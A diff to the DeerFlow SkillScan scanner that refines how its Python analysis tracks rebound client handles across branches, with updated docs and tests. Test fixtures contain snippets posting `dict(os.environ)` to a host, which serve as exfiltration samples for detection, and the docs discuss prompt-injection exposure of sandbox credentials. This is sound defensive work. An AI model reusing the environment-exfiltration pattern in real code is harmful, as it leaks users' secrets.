diff --git a/backend/packages/harness/deerflow/skills/AGENTS.md b/backend/packages/harness/deerflow/skills/AGENTS.md index d5dd94eab6..e48320b83e 100644 --- a/backend/packages/harness/deerflow/skills/AGENTS.md +++ b/backend/packages/harness/deerflow/skills/AGENTS.md @@ -29,7 +29,7 @@ - **Slash activation**: `/skill-name task` loads that enabled skill's `SKILL.md` for the current model call only. The resolver rejects leading whitespace, missing separators, reserved command syntax (`/new`, `/help`, `/bootstrap`, `/status`, `/models`, `/memory`, `/goal`, `/agent`, and the exact composer-only alias `/context compact`), disabled skills, and skills outside a custom agent's whitelist. A custom skill named `context` remains activatable for other task text. - **Installation**: `POST /api/skills/install` extracts .skill ZIP archive to custom/ directory - **Managed integrations**: Lark/Feishu CLI support installs one global official `lark-*` pack as read-only `SkillCategory.INTEGRATION` entries under `/mnt/skills/integrations/lark-cli/...`; enabled flags, app configuration, and OAuth data remain per-user. Install resolves the newest `larksuite/cli` release from GitHub (`releases/latest`) at install time (falling back to a bottom-line pinned version if the lookup fails) rather than hard-coding the pack version; integrity relies on the official host + structural archive guards + a recorded hash of the effective installed tree after shared guidance injection (not a pinned archive-byte SHA, which GitHub does not keep stable). The Gateway image still installs a pinned `@larksuite/cli` binary, so `get_lark_integration_status` surfaces `latest_available_version` and `runtime_version_mismatch` for the UI. AIO installs additionally verify and publish official Linux amd64/arm64 binaries under `{DEER_FLOW_HOME}/integrations/lark-cli/sandbox-cli`, mounted read-only at `/mnt/integrations/lark-cli/runtime`; `/mnt/integrations/lark-cli/config` (app credentials, incl. the long-lived `appSecret`) is mounted **read-only** into the sandbox, its empty `config/locks` subdirectory is over-mounted writable for `lark-cli` coordination files, and `/mnt/integrations/lark-cli/data` (refreshable OAuth tokens) stays writable, all mapping to owner-only per-user directories. **Sandbox trust boundary:** the credential-bearing config and data dirs are still *readable* by arbitrary sandbox processes (the agent's `bash` tool, or code reached via prompt-injection in a tool result), so the app secret and tokens are exposed to sandbox-side code even though they never reach the browser — the read-only config mount only prevents in-sandbox tampering, not read/exfiltration. The sidecar credential-broker (Pattern B, issue #4338) is the fix that removes these plaintext mounts from sandbox execution: set `LARK_CLI_BROKER_IMAGE` on the provisioner (see `docker/lark-cli-broker/`) and the Gateway sends `provision_lark_cli_broker` on sandbox create. The provisioner then runs a `lark-cli-broker` sidecar that owns the per-user `config`/`config/locks`/`data` mounts (mounted into the **sidecar only**, at `/var/lark/{config,config/locks,data}` with only the nested locks mount writable) and serves the `lark-cli` command surface on Pod loopback (`http://127.0.0.1:8788`); a shim init container (`install-shim`) writes a forwarding `lark-cli` into the shared runtime `emptyDir`, so the sandbox gets `DEERFLOW_LARK_BROKER_URL` + a shim on PATH but **no** credential files. The on-PATH `bin/lark-cli` is a `/bin/sh` launcher that resolves a Python 3 interpreter and execs the Python shim body (`bin/lark-cli-shim.py`) beside it, so broker mode does not silently ENOEXEC on a sandbox image without a `#!/usr/bin/env python3`-resolvable interpreter — it fails loudly (exit 127, actionable message) and can be pinned with `DEERFLOW_LARK_BROKER_PYTHON`. The broker runs `lark-cli` in the sidecar's cwd and cannot see the sandbox filesystem, so cwd is intentionally **not** forwarded and file-I/O subcommands relative to the sandbox cwd are unsupported (command surface only). An optional `DEERFLOW_LARK_BROKER_DENY_SUBCOMMANDS` denylist (comma-separated command paths, matched in order through interleaved option values, forwarded from the provisioner) lets the broker refuse secret-dumping subcommands before spawning the binary. `lark_cli_env_overlay(broker=True)` therefore omits `LARKSUITE_CLI_CONFIG_DIR`/`DATA_DIR`; `sandbox_lark_broker_active()` caches confirmed provisioner capabilities for admission and fails closed on unknowns; bash overlays use the admitted sandbox's actual mode. Configured broker provisioning rejects direct credential mounts. `DEER_FLOW_LARK_CLI_SANDBOX_RUNTIME_DIR` supplies a validated, symlink-free pre-staged runtime for air-gapped deployments. For the remote provisioner (K8s), the runtime binary is otherwise provisioned by an optional init container + shared `emptyDir` (Pattern A): set `LARK_CLI_INIT_IMAGE` on the provisioner (see `docker/lark-cli-init/`) and the Gateway sends `provision_lark_cli_runtime` on sandbox create once the pack is installed, so remote installs skip the Gateway-side GitHub download entirely. Broker (Pattern B) supersedes the init-container binary (Pattern A) when both images are configured. `get_lark_integration_status(check_runtime=True)` surfaces `sandbox_runtime_mode` (`none` / `gateway-download` / `init-container` / `broker`) and `sandbox_runtime_ready` (remote modes read the provisioner `GET /api/capabilities`: `lark_cli_init_image` / `lark_cli_broker_image`), plus `sandbox_runtime_probed` separating a confirmed probe result from the conservative unprobed fallback (mutation responses carry a probed status built from a credential snapshot taken under the credential lock), so a green UI can't hide a chat-time `lark-cli: command not found`. Cheap status probes are explicitly not live-verified; users authorize or reconnect through the browser device-flow endpoints instead of running terminal commands. -- **SkillScan**: `packages/harness/deerflow/skills/skillscan/` is the native deterministic scanner for `.skill` archives and agent-managed skill writes. It runs offline before the LLM scanner, emits structured findings (`rule_id`, `severity`, `file`, `line`, `message`, `remediation`, redacted `evidence` — category/analyzer are encoded in the `rule_id` prefix), blocks `CRITICAL`, and passes warning findings into `scan_skill_content()`. The moderation adapter must normalize both plain-text responses and LangChain Responses API text blocks before parsing the required JSON decision. `scan_archive_preflight()` / `scan_skill_dir()` are pure sync functions (dispatch off the event loop); `enforce_static_scan()` applies the blocking policy and the `skill_scan.enabled` kill switch. `skills/package_files.py` is the single definition of code files (`scripts/` members, code suffixes, extensionless `#!` files) and executable magic bytes; the installer, export guard, and SkillScan all import it, so do not re-derive either rule locally. Files that fail NUL-free UTF-8 decoding are treated as binaries unless they are code files: interpreters still run those, so they raise `package-undecodable-script` (HIGH) and are analyzed over a lossy decode, keeping one stray byte from hiding a file or downgrading a `CRITICAL` match; one with executable magic skips the text rules, which only misread its string tables. The Python instance-client signal deliberately follows only a one-level, same-scope evidence chain (PR #4265 review): a proven imported constructor bound to a simple name, optional name-to-name alias propagation, rebinding invalidation, and a constructor-supported outbound method or context-manager use; bare canonical-looking names never fall back to module identity. Nested scopes never inherit client handles and inherit only constructor aliases proven stable by a binding-only enclosing-scope prepass. Comprehensions, walrus-bearing statements, annotations, executable expressions inside complex binding targets, unsupported operations, and ambiguous flows produce no finding from this signal; skipped constructs invalidate all names they may bind, while representative false negatives are pinned by `test_python_declared_false_negatives_stay_unreported`. Compound bodies are walked from isolated copies so wrapping code in `if True:` is not a bypass, while copied scope entries, binding-only prepasses, and AST visits consume a deterministic work budget and the walk stops after its first sink. Budget or recursion exhaustion skips only this best-effort signal and retains deterministic findings already collected for the file. Do not add Semgrep/OpenGrep or YAML rule-engine dependencies to the core path; Phase 1 rule specs live in Python constants next to their analyzers in `skillscan/orchestrator.py`. +- **SkillScan**: `packages/harness/deerflow/skills/skillscan/` is the native deterministic scanner for `.skill` archives and agent-managed skill writes. It runs offline before the LLM scanner, emits structured findings (`rule_id`, `severity`, `file`, `line`, `message`, `remediation`, redacted `evidence` — category/analyzer are encoded in the `rule_id` prefix), blocks `CRITICAL`, and passes warning findings into `scan_skill_content()`. The moderation adapter must normalize both plain-text responses and LangChain Responses API text blocks before parsing the required JSON decision. `scan_archive_preflight()` / `scan_skill_dir()` are pure sync functions (dispatch off the event loop); `enforce_static_scan()` applies the blocking policy and the `skill_scan.enabled` kill switch. `skills/package_files.py` is the single definition of code files (`scripts/` members, code suffixes, extensionless `#!` files) and executable magic bytes; the installer, export guard, and SkillScan all import it, so do not re-derive either rule locally. Files that fail NUL-free UTF-8 decoding are treated as binaries unless they are code files: interpreters still run those, so they raise `package-undecodable-script` (HIGH) and are analyzed over a lossy decode, keeping one stray byte from hiding a file or downgrading a `CRITICAL` match; one with executable magic skips the text rules, which only misread its string tables. The Python instance-client signal deliberately follows only a one-level, same-scope evidence chain (PR #4265 review): a proven imported constructor bound to a simple name, optional name-to-name alias propagation, rebinding invalidation, and a constructor-supported outbound method or context-manager use; bare canonical-looking names never fall back to module identity. Nested scopes never inherit client handles and inherit only constructor aliases proven stable by a binding-only enclosing-scope prepass. Comprehensions, walrus-bearing statements, annotations, executable expressions inside complex binding targets, unsupported operations, and flows whose order cannot be decided produce no finding from this signal; representative false negatives are pinned by `test_python_declared_false_negatives_stay_unreported`. Compound bodies are walked from isolated copies so wrapping code in `if True:` is not a bypass: a part that cannot follow a sibling's rebinding (an `if` branch, the one `match` case, a `try` or loop body) applies its own bindings in source order, while a part that can (a loop or `try` `else`, a handler, a `finally`) starts with those names dropped; dispatch-time bindings (a loop target, `except ... as`, a `match` capture) are always dropped first, and nothing bound inside a body reaches the code after the statement. Copied scope entries, binding-only prepasses, and AST visits consume a deterministic work budget and the walk stops after its first sink. Budget or recursion exhaustion skips only this best-effort signal and retains deterministic findings already collected for the file. Do not add Semgrep/OpenGrep or YAML rule-engine dependencies to the core path; Phase 1 rule specs live in Python constants next to their analyzers in `skillscan/orchestrator.py`. - **SkillScan HTTP hosts**: recognize HTTP/HTTPS schemes case-insensitively in both URL regexes and prefix checks, without changing source evidence. Use URL authority parsing for lowercase hosts and bracketed IPv6 loopback; userinfo must never hide an external host. Malformed URLs remain outbound for exfiltration checks. Cleartext HTTP detection covers IPv6 literals; cloud-metadata hostname matching is case-insensitive. Coverage: `tests/test_skillscan_native.py`. - **Python secret mappings**: `secret-env-assignment` scans literal container values and conditional branches under secret-like bindings. Dictionary keys are structural labels and contribute candidates only when their folded literal matches the shared `_SECRET_TOKEN_PATTERNS`; they must not inherit credential evidence from the enclosing variable name. Opaque keys without a recognized token format stay unreported. Regressions in `tests/test_skillscan_native.py` cover runtime-loaded mappings, nested labels, credential-value locations, and literal/concatenated token keys; `tests/test_skill_review_core.py` pins the CI CLI gate. - **Skill Review Core**: `packages/harness/deerflow/skills/review/` provides read-only package snapshots, deterministic facts, resource/eval analysis, report rendering, and the CLI (`python -m deerflow.skills.review.cli`). It reuses the shared frontmatter helper and SkillScan; it must not import `app.*`, execute target scripts, install dependencies, or call networks. JSON contracts live in `contracts/skill_review/`. The analyzer hands SkillScan a byte-faithful copy of every non-symlink snapshot file (binary entries carry `content_base64`), so package rules such as `package-executable-binary` cover binaries; only eval-fixture `SKILL.md` samples are withheld, while scripts and other files under `evals/fixtures/` are scanned. Materialization uses exclusive create, so a duplicate archive member or a case-folded name fails the scan closed (`not_assessed: skillscan`) instead of overwriting an earlier file, as does an entry without bytes in an untruncated snapshot. The `review_skill_package` built-in tool labels results with `review_subject_entry` and never `skill_context_entry`, so reviewing a target does not activate it or bind its `required-secrets`. Its model-visible `ToolMessage.content` is a compact JSON payload with untrusted control tags neutralized; the full raw review payload, including Markdown renders, stays in `ToolMessage.artifact`. Local path targets are host paths, so the tool confines them to the configured skills root and the caller's own `{base_dir}/users/{user_id}/`; never re-add the Gateway cwd or `/tmp`, because `DEER_FLOW_HOME` sits under the cwd and those roots expose other users' skills. A skills root that contains `{base_dir}/users/` is dropped with a warning. CI should run the CLI with `--fail-on error --fail-on-incomplete` so blocker/error findings and truncated/not-assessed packages fail the gate. The public `skills/public/skill-reviewer` skill owns semantic readiness review and suggestions only; mutation and runtime experiments remain owned by `skill-creator`. diff --git a/backend/packages/harness/deerflow/skills/skillscan/orchestrator.py b/backend/packages/harness/deerflow/skills/skillscan/orchestrator.py index 36e1e7ab92..22ed7ec585 100644 --- a/backend/packages/harness/deerflow/skills/skillscan/orchestrator.py +++ b/backend/packages/harness/deerflow/skills/skillscan/orchestrator.py @@ -1565,7 +1565,12 @@ def _call_is_network_sink(call_name: str) -> bool: # narrowing the model has to change that test rather than change behaviour silently. # # Compound bodies are still walked from isolated entry-state copies so `if True:` is not a -# universal bypass, but ambiguous bindings are dropped rather than joined. Every AST visit +# universal bypass. A part that cannot follow a sibling's binding -- an `if` branch, the one +# `match` case that runs, a `try` or loop body -- keeps the enclosing handle live and applies its +# own rebinding in source order; parts that can follow a sibling (a loop or `try` `else`, a +# handler, a `finally`) still start with those names dropped, so a rebind on one path cannot be +# read as live on the next. Names the statement binds as it dispatches -- a loop target, an +# `except ... as` name, a `match` capture -- are always dropped first. Every AST visit # and copied scope entry consumes a deterministic work budget, and the walk stops as soon # as it finds one sink. This bounds the branch-copy cost on untrusted source. @@ -1734,19 +1739,31 @@ def _walk_client_scope(node: ast.AST, scope: _ClientScope, inherited: _ClientSco def _walk_client_branching(node: ast.AST, scope: _ClientScope, inherited: _ClientScope, analysis: _ClientAnalysis) -> None: - """Analyze a compound statement without deciding which of its parts run, or in what order. + """Analyze a compound statement part by part, dropping only the bindings that can already be stale. - Every name the statement may bind is dropped *before* any body is walked, not after. Dropping - afterwards would be wrong for the parts that run after a sibling has already rebound the name -- - a `finally` after a handler replaced the handle, a later `except*` clause, a second loop - iteration -- and each of those disagreements is a benign file hard-blocked as `CRITICAL`. - Ordering the parts instead of dropping is the control-flow interpreter this signal is not. + A name is dropped before a part is walked when some *other* part of the same statement can run + before it and rebind that name: an `else` after a loop body, a `finally` after a handler replaced + the handle, a later `except*` clause. Reading such an earlier path's rebind as still live is a + benign file hard-blocked as `CRITICAL`. - Bodies are still walked, each from its own copy, so a construction inside one branch cannot leak - into a sibling and a sink inside a branch is still seen. What is lost is a name that the same - statement both calls and rebinds; that is the documented false negative. + A part that cannot follow a sibling -- a branch of an `if`/`elif`/`else` chain, the one `match` + case that runs, a `try` body, a loop body -- is walked with the enclosing handle intact, and the + part then applies its own rebinding in source order. That is the rule the top level already uses, + where a rebind after a call cannot retract it, and it is what stops a call that really happened + from disappearing because a later statement in that same part rebinds the name (issue #4296, + case 1). + + Names the statement binds as it dispatches -- a loop target, an `except ... as` name, a `match` + capture -- are dropped after the header is walked and before every part, because the header is + evaluated while those bindings do not exist yet: a sink in `for s in s.post(...)` really happens + under the enclosing handle. Everything the statement may bind is then dropped from the enclosing + scope once its parts are walked, so a binding made inside a part never reaches the code that + follows the statement. """ - _drop_client_bindings(scope, _branching_bound_names(node, analysis)) + entry_names = _branching_entry_bound_names(node, analysis) + # Names rebound by ordinary statements inside the parts: which part ran is undecided here, so they + # stay dropped for the parts that can follow a sibling and live for the parts that cannot. + sibling_names = _branching_bound_names(node, analysis) - entry_names for header in _branching_header_exprs(node): walrus_names = _walrus_target_names(header, analysis) if walrus_names: @@ -1755,11 +1772,13 @@ def _walk_client_branching(node: ast.AST, scope: _ClientScope, inherited: _Clien _walk_client_scope(header, scope, inherited, analysis) if analysis.found is not None: return - for body in _branching_bodies(node): - branch_scope = scope.copy_without(analysis) + _drop_client_bindings(scope, entry_names) + for body, follows_sibling in _branching_parts(node): + branch_scope = scope.copy_without(analysis, sibling_names if follows_sibling else None) _walk_client_statements(body, branch_scope, inherited, analysis) if analysis.found is not None: return + _drop_client_bindings(scope, entry_names | sibling_names) def _branching_header_exprs(node: ast.AST) -> list[ast.AST]: @@ -1774,22 +1793,56 @@ def _branching_header_exprs(node: ast.AST) -> list[ast.AST]: return [] # `try` has no header; handler types run only when an exception was raised -def _branching_bodies(node: ast.AST) -> list[list[ast.AST]]: +def _branching_parts(node: ast.AST) -> list[tuple[list[ast.AST], bool]]: + """The statement's parts, each tagged with whether a sibling part can run before it. + + `False` marks a part that starts from the state at the statement itself: the branches of an + `if`/`elif`/`else` chain are mutually exclusive, only one `match` case runs, and a `try` body or a + loop body is the first thing its statement runs. A binding made in some other part cannot be the + value this part starts from, so an enclosing handle stays live here. + + `True` marks a part that can follow a sibling's binding: a loop or `try` `else`, a handler after + its `try` body, a later `except*` clause, and a `finally` after any of them. + """ if isinstance(node, (ast.Try, ast.TryStar)): # A handler's `type` expression and its body run on the same path, so they share one copy. handlers = [[*([handler.type] if handler.type is not None else []), *handler.body] for handler in node.handlers] - return [node.body, *handlers, node.orelse, node.finalbody] + return [(node.body, False), *((body, True) for body in [*handlers, node.orelse, node.finalbody])] if isinstance(node, ast.Match): - return [[*([case.guard] if case.guard is not None else []), *case.body] for case in node.cases] + return [([*([case.guard] if case.guard is not None else []), *case.body], False) for case in node.cases] if isinstance(node, ast.If): - return [node.body, node.orelse] + return [(node.body, False), (node.orelse, False)] if isinstance(node, (ast.For, ast.AsyncFor)): - return [node.body, node.orelse] + return [(node.body, False), (node.orelse, True)] if isinstance(node, ast.While): - return [node.body, node.orelse] + return [(node.body, False), (node.orelse, True)] return [] +def _branching_bodies(node: ast.AST) -> list[list[ast.AST]]: + return [body for body, _follows_sibling in _branching_parts(node)] + + +def _branching_entry_bound_names(node: ast.AST, analysis: _ClientAnalysis) -> set[str]: + """Names the statement binds as it dispatches, never from a statement inside one of its parts. + + These are not order-dependent: a loop target, an exception name and a `match` capture hold a new + value before any body of the statement runs, so an enclosing handle under the same name is already + gone for every part walked below. Dropping them here rather than with the rest is what lets a + later sink in the same part still be seen. + """ + names: set[str] = set() + declared: set[str] = set() + if isinstance(node, (ast.For, ast.AsyncFor)): + names.update(_client_assignment_target_names(node.target)) + if isinstance(node, (ast.Try, ast.TryStar)): + names.update(handler.name for handler in node.handlers if handler.name) + if isinstance(node, ast.Match): + for case in node.cases: + _collect_client_scope_bindings(case.pattern, names, declared, analysis) + return names - declared + + def _branching_bound_names(node: ast.AST, analysis: _ClientAnalysis) -> set[str]: """Every name the statement may bind, including the loop/handler/capture targets themselves.""" names: set[str] = set() diff --git a/backend/tests/test_skillscan_native.py b/backend/tests/test_skillscan_native.py index 2f5950cf27..ab5149e406 100644 --- a/backend/tests/test_skillscan_native.py +++ b/backend/tests/test_skillscan_native.py @@ -1535,6 +1535,41 @@ def test_python_client_handle_binding_matches_runtime(tmp_path: Path, source: st # treating both as executed is exactly the over-reporting that hard-blocks benign files. The # prelude takes the `else` path, so the runtime shows which receiver really answers. ("flag = False\ns = config\n", "import os\nimport requests\n\nif flag:\n s = requests.Session()\nelse:\n s.post(host, json=dict(os.environ))\n", ["config"], False), + # Issue #4296 case 1, now reported: a part that cannot follow a sibling keeps the enclosing + # handle, and the rebind on the later line cannot retract the call already made on the first. + ("flag = True\n", "import os\nimport requests\n\ns = requests.Session()\nif flag:\n s.post(host, json=dict(os.environ))\n s = config\n", ["client"], True), + # The same two statements in the other order really are benign, so the case above is not + # passing because an `if` body is walked without ordering its bindings. + ("flag = True\n", "import os\nimport requests\n\ns = requests.Session()\nif flag:\n s = config\n s.post(host, json=dict(os.environ))\n", ["config"], False), + # A loop body is the first thing its statement runs, so the same rule applies there. + ("", "import os\nimport requests\n\ns = requests.Session()\nfor _ in [1]:\n s.post(host, json=dict(os.environ))\n s = config\n", ["client"], True), + # The loop `else` is different: it always follows the body, so a handle the body replaced must + # not be read as live there. + ("", "import os\nimport requests\n\ns = requests.Session()\nfor _ in [1]:\n s = config\nelse:\n s.post(host, json=dict(os.environ))\n", ["config"], False), + # A `try` body starts from the state at the statement, and a `finally` does not. + ("", "import os\nimport requests\n\ns = requests.Session()\ntry:\n s.post(host, json=dict(os.environ))\n s = config\nexcept Exception:\n pass\n", ["client"], True), + ("", "import os\nimport requests\n\ns = requests.Session()\ntry:\n s = config\nfinally:\n s.post(host, json=dict(os.environ))\n", ["config"], False), + # Exactly one `match` case runs, so a case body cannot follow another case's binding. + ("value = 1\n", "import os\nimport requests\n\ns = requests.Session()\nmatch value:\n case 1:\n s.post(host, json=dict(os.environ))\n s = config\n", ["client"], True), + # A capture target is not a sibling binding: it rebinds the name as the statement dispatches, + # so the enclosing handle is already gone before the matched body runs. + ("value = [1]\n", "import os\nimport requests\n\ns = requests.Session()\nmatch value:\n case [s]:\n s.post(host, json=dict(os.environ))\n", [], False), + # A handler's `as` name is the same case: it shadows the handle for its own body. + ("", "import os\nimport requests\n\ns = requests.Session()\ntry:\n float('x')\nexcept Exception as s:\n s.post(host, json=dict(os.environ))\n", [], False), + # The header is evaluated *before* the dispatch-time binding exists, so a sink there runs + # under the enclosing handle even when the target/capture reuses that name. + ("", "import os\nimport requests\n\ns = requests.Session()\nfor s in s.post(host, json=dict(os.environ)):\n pass\n", ["client"], True), + ("", "import os\nimport requests\n\ns = requests.Session()\nmatch s.post(host, json=dict(os.environ)):\n case [s]:\n pass\n", ["client"], True), + # ... and the inverse, which is why the dispatch names are still dropped before the body: + # inside the body `s` is the loop value, not the handle. + ("", "import os\nimport requests\n\ns = requests.Session()\nfor s in [1]:\n s.post(host, json=dict(os.environ))\n", [], False), + # Two levels of branching: the branches are mutually exclusive, so a rebind in the `if` body + # cannot retract a sink in the `elif` body. + ("a = False\nb = True\n", "import os\nimport requests\n\ns = requests.Session()\nif a:\n s = config\nelif b:\n s.post(host, json=dict(os.environ))\n", ["client"], True), + # A `while` body is the first thing its statement runs, same rule as `for`. + ("flag = True\n", "import os\nimport requests\n\ns = requests.Session()\nwhile flag:\n s.post(host, json=dict(os.environ))\n flag = False\n s = config\n", ["client"], True), + # A `try` `else` always follows the body, so the body's rebind must reach it. + ("", "import os\nimport requests\n\ns = requests.Session()\ntry:\n s = config\nexcept Exception:\n pass\nelse:\n s.post(host, json=dict(os.environ))\n", ["config"], False), ], ) def test_python_branch_bodies_are_walked_without_leaking_bindings(tmp_path: Path, prelude: str, source: str, receivers: list[str], is_exfil: bool) -> None: @@ -1557,9 +1592,6 @@ def test_python_import_over_a_live_handle_drops_it(tmp_path: Path) -> None: @pytest.mark.parametrize( "source", [ - # A name the compound statement both calls and rebinds. Which value survives depends on the - # path taken, so the handle is dropped rather than resolved. - "import os\nimport requests\n\ns = requests.Session()\nif flag:\n s.post(host, json=dict(os.environ))\n s = config\n", # A construction on a branch that really runs, observed after the statement. "import os\nimport requests\n\nif flag:\n s = requests.Session()\ns.post(host, json=dict(os.environ))\n", # A walrus that really executes: whether and when it runs is undecidable in general, so the